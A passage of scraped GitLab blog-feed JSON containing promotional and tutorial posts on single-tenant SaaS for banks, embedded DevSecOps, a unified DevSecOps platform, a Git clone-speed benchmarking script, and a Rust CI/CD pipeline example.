residency](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) becomes a choice rather than a constraint. You select your preferred AWS region to meet regulatory requirements and organizational data governance policies, maintaining full control over where your sensitive source code and intellectual property are stored.\n\nThis control extends to [compliance frameworks](https://docs.gitlab.com/user/compliance/compliance_frameworks/) that financial institutions require. The platform provides [comprehensive audit trails](https://docs.gitlab.com/user/compliance/audit_events/) and logging capabilities that support compliance efforts for financial services regulations like [Sarbanes-Oxley](https://about.gitlab.com/compliance/sox-compliance/) and [GLBA Safeguards Rule](https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act).\n\nWhen compliance questions arise, you work directly with GitLab's dedicated support team — experienced professionals who understand the regulatory challenges that organizations in highly regulated industries face.\n\n## Operational excellence without operational overhead\n\nGitLab Dedicated maintains [high availability](https://docs.gitlab.com/subscriptions/gitlab_dedicated/data_residency_and_high_availability/) with [built-in disaster recovery](https://docs.gitlab.com/subscriptions/gitlab_dedicated/), ensuring your development operations remain resilient even during infrastructure failures. The dedicated resources scale with your organization's needs without the performance variability that shared environments introduce.\n\nThe [zero-maintenance approach](https://docs.gitlab.com/subscriptions/gitlab_dedicated/maintenance/) to CI/CD infrastructure eliminates a significant operational burden. Your teams focus on development while GitLab manages the underlying infrastructure, auto-scaling, and maintenance — including rapid security patching to protect your critical intellectual property from emerging threats. This operational efficiency doesn't come at the cost of security: the dedicated infrastructure provides enterprise-grade controls while delivering cloud-scale performance.\n\n## The competitive reality\n\nWhile some institutions debate infrastructure strategies, industry leaders are taking decisive action. [NatWest Group](https://about.gitlab.com/press/releases/2022-11-30-gitlab-dedicated-launches-to-meet-complex-compliance-requirements/), one of the UK's largest financial institutions, chose GitLab Dedicated to transform their engineering capabilities:\n\n> *\"NatWest Group is adopting GitLab Dedicated to enable our engineers to use a common cloud engineering platform; delivering new customer outcomes rapidly, frequently and securely with high quality, automated testing, on demand infrastructure and straight-through deployment. This will significantly enhance collaboration, improve developer productivity and unleash creativity via a 'single-pane-of-glass' for software development.\"*\n>\n> **Adam Leggett**, Platform Lead - Engineering Platforms, NatWest\n\n## The strategic choice\n\nThe most successful financial institutions face a unique challenge: They have the most to lose from shared infrastructure risks, but also the resources to architect better solutions. \n\n**The question that separates industry leaders from followers:** Will you accept shared infrastructure risks as the price of digital transformation, or will you invest in infrastructure that treats your source code with the strategic importance it deserves?\n\nYour trading algorithms aren't shared. Your risk models aren't shared. Your customer data isn't shared.\n\n**Why is your development platform shared?**\n\n*Ready to treat your source code like the strategic asset it is? [Let’s chat](https://about.gitlab.com/solutions/finance/) about how GitLab Dedicated provides the security, compliance, and performance that financial institutions demand — without the compromises of shared infrastructure.*",{"featured":6,"template":808,"slug":966},"why-financial-services-choose-single-tenant-saas",{"content":968,"config":979},{"title":969,"description":970,"authors":971,"heroImage":973,"date":974,"body":975,"category":732,"tags":976},"Why now is the time for embedded DevSecOps","Learn how embedded development teams address long feedback cycles, manual compliance, and isolated development with DevSecOps.",[972],"Matt DeLaney","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659978/Blog/Hero%20Images/automation.png","2025-07-01","For embedded systems teams, DevSecOps has traditionally seemed like an approach better suited to SaaS applications than firmware development. But this is changing. Software is now a primary differentiator in hardware products. New market expectations demand modern development practices. In response, organizations are pursuing \"embedded DevSecOps.\"\n\nWhat is embedded DevSecOps? The application of collaborative engineering practices, integrated toolchains, and automation for building, testing, and securing software to embedded systems development. Embedded DevSecOps includes necessary adaptations for hardware integration.\n## Convergence of market forces\nThree powerful market forces are converging to compel embedded teams to modernize their development practices.\n### 1. The software-defined product revolution\nProducts once defined primarily by their hardware are now differentiated by their software capabilities. The software-defined vehicle (SDV) market tells a compelling story in this regard. It's projected to grow from $213.5 billion in 2024 to [$1.24 trillion](https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html) by 2030, a massive 34% compound annual growth rate.\nThe software content in these products is growing considerably. By the end of 2025, the average vehicle is expected to contain [650 million lines of code](https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/). Traditional embedded development approaches cannot handle this level of software complexity. \n### 2. Hardware virtualization as a technical enabler\nHardware virtualization is a key technical enabler of embedded DevSecOps. Virtual electronic control units (vECUs), cloud-based ARM CPUs, and sophisticated simulation environments are becoming more prevalent. Virtual hardware allows testing that once required physical hardware.\n\nThese virtualization technologies provide a foundation for continuous integration ([CI](https://about.gitlab.com/topics/ci-cd/)). But their value is fully realized only when integrated into an automated workflow. Combined with collaborative development practices and automated pipelines, virtual testing helps teams detect issues much earlier, when fixes are far less expensive. Without embedded DevSecOps practices and tooling to orchestrate these virtual resources, organizations can't capitalize on the virtualization trend.\n### 3. The competitive and economic reality\nThree interrelated forces are reshaping the competitive landscape for embedded development:\n- The talent war has shifted decisively. As an embedded systems leader at a GitLab customer explained, “No embedded engineers graduating from college today know legacy tools like Perforce. They know Git. These young engineers will work at a company for six months on legacy tools, then quit.” Companies using outdated tools may lose their engineering future.\n- This talent advantage translates into competitive superiority. Tech-forward companies that attract top engineers with modern practices achieve remarkable results. For example, in 2024, [SpaceX](https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/) performed more orbital launches than the rest of the world combined. Tech-forward companies excel at software development and embrace a modern development culture. This, among other things, creates efficiencies that legacy companies struggle to match. \n- The rising costs of embedded development — driven by long feedback cycles — create an urgent need for embedded DevSecOps. When developers have to wait weeks to test code on hardware test benches, productivity remains inherently low. Engineers lose context and must switch contexts when results arrive. The problem worsens when defects enter the picture. Bugs become more expensive to fix the later they're discovered. Long feedback cycles magnify this problem in embedded systems.\n\nOrganizations are adopting embedded DevSecOps to help combat these challenges.\n## Priority transformation areas\nBased on these market forces, forward-thinking embedded systems leaders are implementing embedded DevSecOps in the following ways. \n### From hardware bottlenecks to continuous testing\nHardware-testing bottlenecks represent one of the most significant constraints in traditional embedded development. These delays create the unfavorable economics described earlier — when developers wait weeks for hardware access, defect costs spiral.\nAddressing this challenge requires a multifaceted approach including: \n* Automating the orchestration of expensive shared hardware test benches among embedded developers  \n* Integrating both SIL (Software-in-the-Loop) and HIL (Hardware-in-the-Loop) testing into automated CI pipelines  \n* Standardizing builds with version-controlled environments\n\nEmbedded developers can accomplish this with GitLab's [On-Premises Device Cloud](https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud), a CI/CD component. Through automating the orchestration of firmware tests on virtual and real hardware, teams are better positioned to reduce feedback cycles from weeks to hours. They also can catch more bugs early on in the software development lifecycle.\n### Automating compliance and security governance\nEmbedded systems face strict regulatory requirements. Manual compliance processes are unsustainable.\nLeading organizations are transforming how they comply with these requirements by: \n* Replacing manual workflows with automated [compliance frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/)  \n* Integrating specialized functional safety, security, and code quality tools into automated continuous integration pipelines  \n* Automating approval workflows, enforcing code reviews, and maintaining audit trails  \n* Configuring compliance frameworks for specific standards like ISO 26262 or DO-178C\n\nThis approach enables greater compliance maturity without additional headcount — turning what was once a burden into a competitive advantage. One leading electric vehicle (EV) manufacturer executes 120,000 CI/CD jobs per day with GitLab, many of which include compliance checks. And they can fix and deploy bug fixes to vehicles within an hour of discovery. This level of scale and speed would be extremely difficult without automated compliance workflows.\n### Enabling collaborative innovation\nHistorically, for valid business and technical reasons, embedded developers have largely worked alone at their desks. Collaboration has been limited. Innovative organizations break down these barriers by enabling shared code visibility through integrated source control and CI/CD workflows. These modern practices attract and retain engineers while unlocking innovation that would remain hidden in isolated workflows.\nAs one director of DevOps at a tech-forward automotive manufacturer (a GitLab customer) explains: \"It's really critical for us to have a single pane of glass that we can look at and see the statuses. The developers, when they bring a merge request, are aware of the status of a given workflow in order to move as fast as possible.\" This transparency accelerates innovation, enabling automakers to rapidly iterate on software features that differentiate their vehicles in an increasingly competitive market.\n## The window of opportunity\nEmbedded systems leaders have a clear window of opportunity to gain a competitive advantage through DevSecOps adoption. But the window won't stay open forever. Software continues to become the primary differentiator in embedded products, and the gap between leaders and laggards will only widen.\nOrganizations that successfully adopt DevSecOps will reduce costs, accelerate time-to-market, and unlock innovation that differentiates them in the market. The embedded systems leaders of tomorrow are the ones embracing DevSecOps today.\n> While this article explored why now is the critical time for embedded teams to adopt DevSecOps, you may be wondering about the practical steps to get started. Learn how to put these concepts into action with our guide: [4 ways to accelerate embedded development with GitLab](https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/).",[977,776,109,978],"embedded DevOps","automotive",{"featured":6,"template":808,"slug":980},"why-now-is-the-time-for-embedded-devsecops",{"content":982,"config":991},{"title":983,"description":984,"authors":985,"heroImage":987,"date":988,"body":989,"category":732,"tags":990},"Why are organizations moving to a unified DevSecOps platform?","Learn about GitLab's comprehensive, unified DevSecOps platform, which integrates tools, enhances security, and leverages AI for efficient software development.",[986],"Itzik Gan Baruch","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","2025-06-02","In today’s modern software development landscape, many organizations are migrating to the cloud and adopting DevSecOps processes. However, this transition presents a significant challenge: a proliferation of tools and legacy systems not designed for modern development. To adapt these systems to DevSecOps, organizations must create integrations between multiple tools for task management, CI/CD, security, monitoring, and more. The result? Operational complexity, high maintenance costs, and disrupted collaboration between development and operations teams. Additionally, developers experience frustration as they constantly switch between different tools to complete a single development flow – from planning to production.\n\n![The complexity and operational costs of integrating multiple tools into a DevSecOps process](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>How complex it can be to integrate multiple tools into a DevSecOps process\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe good news is that a solution exists: A comprehensive DevSecOps platform offering a unified approach to software development.\n\nThese platforms are built for organizations operating in cloud-based and DevSecOps environments, consolidating all software development stages — from code management, CI/CD processes, task management, and security to AI-driven automation — into a single platform. Centralizing all software development workflows in a unified interface enables development and operations teams to work more efficiently, streamline communication, and minimize operational complexities and disruptions.\n\nFurthermore, the developer experience significantly improves — engineers are much happier working with a product designed specifically for modern development needs.\n\nIn the sections below, we’ll explore how GitLab helps teams overcome common challenges — whether it’s managing projects and tasks, ensuring security and compliance, or adopting AI-powered development tools – all within a single, unified platform.\n\n## Integrated Agile project management\n\nGitLab provides a holistic solution in which project and task management are fully integrated across all stages of the software development lifecycle, such as CI/CD, enabling real-time tracking of development progress. Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment. This approach enhances transparency across teams, reduces delays, and ensures that all stakeholders have a clear view of the development status in real-time.\n\n![Issues and epics directly link to automation processes, allowing a seamless flow from planning to production deployment.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Built-in security\nGitLab strongly emphasizes integrating security capabilities end-to-end (security first). The platform integrates a wide range of automated security scanners, including:\n\n- [Dependency Scanning](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n- [Static Application Security Testing (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n- [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n- [Secret Detection](https://docs.gitlab.com/user/application_security/secret_detection/)\n- [Container Scanning](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Security scanning capabilities integrated into the CI/CD process at various development stages](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Security scanning capabilities integrated into the CI/CD process at various development stages\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThese security checks are built directly into every phase of the software development lifecycle, including the CI/CD pipeline, to provide developers with immediate feedback on potential security issues early in the development cycle.\n\n## Compliance and regulatory requirements\n\nBeyond efficiency and user experience, many organizations — especially those in regulated industries such as financial institutions or large enterprises — must ensure their processes comply with strict security and compliance standards. They need the ability to enforce policies for different projects, such as mandating a security scanner every time a CI/CD pipeline runs on specific code branches (e.g., main or protected branches) or requiring specific approvals before merging code into the main branch.\n\nWith GitLab, this becomes easier through [Compliance Frameworks](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/), a feature that allows organizations to define and enforce structured policies for selected projects. This ensures compliance with automatic regulatory and security requirements while maintaining a seamless and efficient developer workflow.\n\n## AI-powered development\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) provides AI-driven assistance across all development stages, eliminating the need to switch to external tools. Every AI-powered request is processed within the full context of the project and codebase, enabling smarter and more efficient work.\n\nAI can perform example tasks such as:\n- automatic task description generation\n- smart summarization of issue discussions, saving developers valuable time\n- advanced code review capabilities\n- code improvement and optimization suggestions\n- automated test generation\n- security vulnerability detection and remediation\n- troubleshooting root cause analysis for CI pipeline failures\n- privacy and Data Security\n\nUnderstanding the needs of regulated organizations, particularly in the public and financial sectors, GitLab offers a unique solution for running AI models in a secure environment. GitLab Duo Self-Hosted enables organizations to maintain full control over data privacy, security, and the deployment of large language models ([LLMs](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)) in their own infrastructure, ensuring:\n- data privacy protection\n- compliance with regulatory requirements\n- maximum security\n- AI benefits without external network dependencies or risks\n\n## Summary\n\nOrganizations need a comprehensive DevSecOps platform to streamline processes, enhance security, and accelerate innovation. GitLab delivers precisely that — a single application consolidating all essential development, security, and operational tools with built-in security integration and AI-powered automation.\n\nReady to see GitLab in action? Explore interactive demos of:\n\n- [GitLab Premium and Ultimate with Duo](https://gitlab.navattic.com/gitlab-premium-with-duo) – experience AI-powered development assistance\n\n- [Adding security to the CI/CD pipeline](https://gitlab.navattic.com/gitlab-scans) – see how integrated security scanning protects your software\n\n- [Compliance frameworks](https://gitlab.navattic.com/compliance) – discover how GitLab enforces policies across projects for better governance\n\n> Join the GitLab 18 virtual launch event to learn about the future of the DevSecOps platform, including the role of agentic AI. [Register today!](https://about.gitlab.com/eighteen/)",[728,496,776],{"slug":992,"featured":6,"template":808},"why-are-organizations-moving-to-a-unified-devsecops-platform",{"category":740,"slug":744,"posts":994},[995,1008,1019],{"config":996,"content":998},{"slug":997,"featured":91,"template":808},"supercharge-your-git-workflows",{"title":999,"description":1000,"authors":1001,"heroImage":1003,"date":1004,"category":744,"tags":1005,"body":1007},"Supercharge your Git workflows","Optimize git clone operations in any environment — up to 93% reduction in clone times and 98% reduction in disk space usage — with the Git Much Faster script.",[1002],"Darwin Sanoy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098264/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_519147119_2RafH61mqosMZv8HGAlsUj_1750098264407.jpg","2025-09-10",[821,1006],"git","Picture this: You're working on the Chromium project and you need to clone the repository. You run `git clone`, grab a coffee, check your email, maybe take a lunch break, and 95 minutes later, you finally have your working directory. This is the reality for developers working with large repositories containing 50GB+ of data.\n\nThe productivity impact is staggering. CI/CD pipelines grind to a halt waiting for repository clones. Infrastructure costs skyrocket as compute resources sit idle. Developer frustration mounts as context-switching becomes the norm.\n\nBut what if that 95-minute wait could be reduced to just 6 minutes? What if you could achieve a 93% reduction in clone times using proven techniques?\n\nEnter [Git Much Faster](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) — a comprehensive benchmarking and optimization script that transforms how you work with large Git repositories. Built from real-world experience optimizing embedded development workflows, this script provides practical strategies delivering measurable performance improvements across standard git clones, optimized configurations, and Git's built-in Scalar tool.\n\nYou'll discover how to dramatically reduce git clone times using optimization strategies, explore real-world performance benchmarks from major repositories like the Linux kernel and Chromium, and understand how to implement these optimizations safely in both development and CI/CD environments.\n\n## Project overview: What is Git Much Faster?\n\nGit Much Faster is a script I wrote as an enablement tool to allow you to benchmark multiple clone optimization approaches on the same client — whether that is a traditional developer workstation, CI, cloud-hosted development environments or specialized clones for GitOps. It also contains the curated configuration settings for the fastest clone optimization. You can use these settings as a starting point and adapt or remove configurations that create too lean of a clone for your client's intended use of the repository clone.\n\nGit Much Faster addresses a fundamental challenge: Git's default clone behavior prioritizes safety over speed. While this works for small repositories, it becomes a significant bottleneck with large codebases, extensive binary assets, or complex monorepo structures.\n\nThe problem manifests across increasingly common scenarios. Embedded development teams inherit repositories filled with legacy firmware binaries, bootloaders, and vendor SDKs stored directly in version control. Web applications accumulate years of marketing assets and design files. Game development projects contain massive 3D models and audio files growing repository sizes into tens of gigabytes.\n\nEnterprise CI/CD pipelines suffer particularly acute pain. Each job requires a fresh repository clone, and when operations take 20 to 90 minutes, entire development workflows grind to a halt. Infrastructure costs multiply as compute resources remain idle during lengthy clone operations.\n\nGit Much Faster solves this through comprehensive benchmarking comparing four distinct strategies: standard git clone (baseline with full history), optimized git clone (custom configurations with compression disabled and sparse checkout), Git's Scalar clone (integrated partial cloning), and current directory assessment (analyzing existing repositories without re-cloning).\n\nThe tool provides measurable, repeatable benchmarking in controlled AWS environments, eliminating variables that make performance testing unreliable. The real power of Git Much Faster is to run all the benchmarks in whatever your target environment looks like — so if slow network connections are a reality for some developers, you can decipher the best clone optimization for their situation.\n\n## Technical deep dive: The optimization strategies\n\nUnderstanding Git Much Faster's effectiveness requires examining specific configurations that address Git's performance bottlenecks through a layered approach tackling network transfer efficiency, CPU utilization, and storage patterns.\n\nThe most significant gains come from two key optimizations. The first, `core.compression=0`, eliminates CPU-intensive compression during network operations. CPU cycles spent compressing often exceed bandwidth savings on modern high-speed networks. This optimization alone reduces clone times by 40% to 60%.\n\nThe second major optimization, `http.postBuffer=1024M`, addresses Git's conservative HTTP buffer sizing. Large repositories benefit tremendously from increased buffer sizes, allowing Git to handle larger operations without breaking them into multiple requests, reducing protocol overhead.\n\nGit Much Faster leverages shallow clones using `--depth=1` (fetching only the latest commit) and partial clones with `--filter=blob:none` (deferring file content downloads until checkout). Shallow clones reduce data by 70%-90% for mature repositories, while partial clones prove particularly effective for repositories with large binary assets.\n\nSparse checkout provides surgical precision in controlling checked-out files. Git Much Faster implements comprehensive exclusion covering 30+ binary file types — images, documents, archives, media files, and executables — reducing working directory size by up to 78% while maintaining full source code access.\n\nGit's Scalar tool, integrated into Git since Version 2.38, combines partial clone, sparse checkout, and background maintenance. However, benchmarking reveals Scalar doesn't implement the aggressive compression and buffer optimizations providing the most significant performance gains. Testing shows the custom optimized approach typically outperforms Scalar by 48%-67% while achieving similar disk space savings.\n\n## End-to-end load reduction\n\nAn interesting thing about optimizing the clone operation is that it also reduces complete system loading because you are reducing the size of your request. GitLab has a specialized, horizontal scaling layer known as [Gitaly Cluster](https://docs.gitlab.com/administration/gitaly/praefect/). When full history clones and large monorepos are the norm, the sizing of Gitaly Cluster is driven higher. This is because all git clone requests are serviced by a server-side binary to create “pack files” to be sent over the wire. Since these server-side git operations involve running compression utilities, it drives all three of memory, CPU, and I/O requirements at once.\n\nWhen git clone operations are optimized to reduce the size of the total content ask, it reduces load on the end-to-end stack: Client, Network, Gitaly Service and Storage. All layers speed up and become cheaper at the same time.\n\n## Real-world performance results\n\nGit Much Faster's effectiveness is demonstrated through rigorous benchmarking across diverse, real-world repositories using consistent AWS infrastructure with Arm instances and controlled network conditions.\n\n**Linux kernel repository (7.5GB total):** Standard clone took 6 minutes 29 seconds. Optimized clone achieved 46.28 seconds — an 88.1% improvement, reducing the .git directory from 5.9GB to 284MB. Scalar took 2 minutes 21 seconds (63.7% improvement), completing 67.3% slower than the optimized approach.\n\n**Chromium repository (60.9GB total):** Standard clone required 95 minutes 12 seconds. Optimized clone achieved 6 minutes 41 seconds — a dramatic 93% improvement, compressing the .git directory from 55.7GB to 850MB. Scalar took 13 minutes 3 seconds (86.3% improvement) but remained 48.8% slower than the optimized approach.\n\n**GitLab website repository (8.9GB total):** Standard clone took 6 minutes 23 seconds. Optimized clone achieved 6.49 seconds — a remarkable 98.3% improvement, reducing the .git directory to 37MB. Scalar took 33.60 seconds (91.2% improvement) while remaining 80.7% slower.\n\nThe benchmarking reveals clear patterns: Larger repositories show more dramatic improvements, binary-heavy repositories benefit most from sparse checkout filtering, and the custom optimization approach consistently outperforms both standard Git and Scalar across all repository types.\n\n## Practical implementation guide\n\nImplementation requires understanding when to apply each technique based on use case and risk tolerance. For development requiring full repository access, use standard Git cloning. For read-heavy workflows needing rapid access to current code, deploy optimized cloning. For CI/CD pipelines where speed is paramount, optimized cloning provides maximum benefit.\n\nGetting started requires only simple download and execution:\n\n```bash\ncurl -L https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/raw/master/git-much-faster.sh -o ./git-much-faster.sh\n\n# For benchmarking\nbash ./git-much-faster.sh --methods=optimized,standard --repo=https://github.com/your-org/your-repo.git\n```\n\nFor production-grade testing, Git Much Faster project includes complete Terraform infrastructure for AWS deployment, eliminating variables that skew local testing results.\n\nOptimized clones require careful consideration of limitations. Shallow clones prevent access to historical commits, limiting operations like `git log` across file history. For teams adopting optimizations it is best to create specific optimizations for high volume usage. For instance, developers can perform an optimized clone, and if and when needed, convert to full clones when needed via `git fetch --unshallow`. If a given CI job accesses commit history (e.g. using GitVersion), then you may need the full history, but not a checkout.\n\n## Use cases and industry applications\n\nEmbedded development presents unique challenges where projects historically stored compiled firmware and hardware design files directly in version control. These repositories often contain FPGA bitstreams, PCB layouts, and vendor SDK distributions ballooning sizes into tens of gigabytes. Build processes frequently require cloning dozens of external repositories, multiplying performance impact.\n\nEnterprise monorepos encounter Git performance challenges as repositories grow encompassing multiple projects and accumulated historical data. Media and asset-heavy projects compound challenges, as mentioned above — web applications accumulate marketing assets over years, while game development faces severe challenges with 3D models and audio files pushing repositories beyond 100GB. [More use cases](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/tree/master?ref_type=heads#common-use-cases) can be found in the project.\n\nCI/CD pipelines represent the most impactful application. Each container-based CI job requires a fresh repository clone, and when operations consume 20 to 90 minutes, entire development workflows become unviable.\n\nGeographically spread out development teams may have team members whose network performance to their primary development workstation is extremely limited or varies dramatically. Optimizing the Git clone can help by reducing over the wire sizes dramatically.\n\n## Next steps\n\nGit clone optimization represents a transformative opportunity delivering measurable improvements — up to 93% reduction in clone times and 98% reduction in disk space usage — that fundamentally change how teams interact with codebases.\n\nThe key insight is that Git's default conservative approach leaves substantial performance opportunities untapped. By understanding specific bottlenecks — network transfer inefficiency, CPU-intensive compression, unnecessary data downloads — teams can implement targeted optimizations delivering transformative results.\n\n\n**Ready to revolutionize your Git workflows?**\n\n[Read the docs in the Git Much Faster repository](https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster) and get started running benchmarks against your largest repositories. Begin with read-only optimization in CI/CD pipelines where benefits are immediate and risks minimal. As your team gains confidence, gradually expand optimization to development workflows based on measured results.\n\nThe future of Git performance optimization continues evolving, but fundamental principles — eliminating unnecessary work, optimizing for actual bottlenecks, measuring results rigorously — remain valuable regardless of future tooling evolution. Teams mastering these concepts today position themselves to leverage whatever improvements tomorrow's Git ecosystem provides.\n",{"config":1009,"content":1011},{"slug":1010,"featured":91,"template":808},"secure-rust-development-with-gitlab",{"title":1012,"description":1013,"authors":1014,"tags":1016,"heroImage":1017,"category":744,"date":868,"body":1018},"Secure Rust development with GitLab","Learn how GitLab supports Rust development through its CI/CD capabilities, security scanning, dedicated Rust integrations, AI features, and more.",[1015],"Fernando Diaz",[269,923,821],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314674/tct6zf6evw0xgddd2vo3.png","Rust has emerged as one of the most beloved programming languages due to its performance,\nmemory safety, and concurrency features. As Rust adoption continues to grow, many developers\nare looking for robust CI/CD platforms to support their Rust projects.\n\nGitLab's appeal to Rust developers extends beyond simple code hosting. The platform offers\nrobust [CI/CD](https://about.gitlab.com/topics/ci-cd/) capabilities that align perfectly with Rust's emphasis on safety, performance, and reliability. GitLab makes it easy to create repositories and use off-the-shelf Docker\ncontainers to put together custom CI jobs. Developers can easily set up automated testing,\ncross-platform builds, and documentation generation. The platform's integrated approach to\nDevSecOps resonates with Rust's philosophy of providing comprehensive tooling out of the box.\n\n## About the demo application\n\nBeing interested in how mortgage rates affect monthly payments and how hard it is to\nto afford a house in the current times, I decided to write a [mortgage calculator](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator) in Rust,\nwhich I will use as an example throughout this tutorial. Feel free to [import this project](https://docs.gitlab.com/user/project/import/repo_by_url/) and follow along.\n\nThe mortgage calculator will help users calculate monthly mortgage payments,\nincluding principal, interest, property taxes, insurance, PMI, and HOA fees. It provides a\nmodern, intuitive GUI using the [egui](https://www.egui.rs/) framework, as well as a CLI for running it in the terminal.\n\n![Mortgage calculator GUI](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/l5bjnzqvpoyikuyxpx2a.png)\n\nThis application contains a [`.gitlab-ci.yml`](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/rust/mortgage-calculator/-/blob/main/.gitlab-ci.yml?ref_type=heads) that generates a pipeline, which will build, test,\npackage, scan, and deploy the software. We will go over this pipeline definition in detail in the\nsections below.\n\n![Mortgage Calculator Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314540/llmsfoaupedhkem0hjqp.png)\n\n## Building and testing Rust applications\n\nGitLab's Docker-based CI/CD system excels at Rust development workflows, providing a robust\nfoundation for compilation, testing, and code quality checks. The platform's caching mechanisms\nare particularly valuable for Rust projects, which can have lengthy compilation times due to the\nlanguage's thorough optimization and safety checking processes.\n\n### Building\n\nRust's excellent cross-compilation capabilities combined with GitLab's flexible CI/CD system\ncreate a powerful solution for building applications across multiple platforms. This is particularly\nvaluable for Rust applications that need to run on various operating systems and architectures without\nsacrificing performance or requiring platform-specific code.\n\n**Note:** You can learn more about the `.gitlab-ci.yml` by reading the [CI/CD YAML syntax reference](https://docs.gitlab.com/ci/yaml/).\n\n```yaml\n# Cache configuration to speed up builds by reusing dependencies\ncache:\n  key: $CI_COMMIT_REF_SLUG                               # Use branch name as cache key\n  paths:\n    - .cargo/                                            # Cache Cargo registry and git dependencies\n    - target/                                            # Cache compiled artifacts\n\n# Base template for Rust jobs - shared configuration\n.rust-template:\n  image: rust:$RUST_VERSION-slim                         # Use slim Rust image for faster downloads\n  before_script:\n    # Install system dependencies required for building the Rust application\n    - apt-get update && apt-get install -y pkg-config libssl-dev libgtk-3-dev libxcb-shape0-dev libxcb-xfixes0-dev\n\n# Template for cross-compilation build jobs\n.build-template:\n  extends: .rust-template                                # Inherit from rust-template\n  stage: build                                           # Execute during build stage\n  script:\n    - rustup target add $TARGET                          # Add the target platform for cross-compilation\n    - cargo build --release --target $TARGET             # Build optimized release binary for target platform\n\n# Build for Linux x86_64 (primary target platform)\nbuild-linux:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-unknown-linux-gnu                     # Linux 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: false                                   # This build must succeed\n\n# Build for Windows x86_64 (cross-compilation)\nbuild-windows:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-pc-windows-gnu                        # Windows 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n\n# Build for macOS x86_64 (cross-compilation)\nbuild-macos:\n  extends: .build-template                               # Use build template configuration\n  variables:\n    TARGET: x86_64-apple-darwin                          # macOS 64-bit target\n  artifacts:\n    paths:\n      - target/$TARGET/release/mortgage-calculator       # Save the compiled binary\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  allow_failure: true                                    # Allow this build to fail (cross-compilation can be tricky)\n```\n\nThis GitLab CI configuration defines three build jobs that cross-compile a Rust mortgage calculator\napplication for different platforms:\n\n* `build-linux` creates a Linux x86_64 binary (required to pass)\n* `build-windows` creates Windows binaries (allowed to fail)\n* `build-macos` creates macOS x86_64 binaries (allowed to fail)\n\nAll builds use shared templates for dependency caching and consistent build environments.\n\n### Testing\n\nGitLab CI/CD streamlines code testing through its integrated pipeline system that automatically\ntriggers test suites whenever code is pushed to the repository. Developers can define multiple\ntypes of tests — unit tests, integration tests, linting, and formatting checks — all within a single\n`.gitlab-ci.yml` configuration file, with each test running in isolated Docker containers to ensure\nconsistent environments.\n\n```yaml\n# Run unit tests\ntest:unit:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - cargo test --verbose                               # Run all unit tests with verbose output\n\n# Run integration tests using the compiled binary\ntest:integration:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    # Test the compiled binary with sample inputs and verify expected output\n    - target/x86_64-unknown-linux-gnu/release/mortgage-calculator --cli calculate --property-value 350000 --down-payment 70000 --interest-rate 5.0 | grep -q \"TOTAL MONTHLY PAYMENT\"\n  needs:\n    - build-linux                                        # Depends on Linux build job completing\n\n# Run Clippy linter for code quality checks\ntest:clippy:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add clippy                        # Install Clippy linter\n    - cargo clippy -- -D warnings                       # Run Clippy and treat warnings as errors\n  allow_failure: true                                    # Allow linting failures (can be improved over time)\n\n# Check code formatting\ntest:format:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: test                                            # Execute during test stage\n  script:\n    - rustup component add rustfmt                       # Install Rust formatter\n    - cargo fmt -- --check                              # Check if code is properly formatted\n  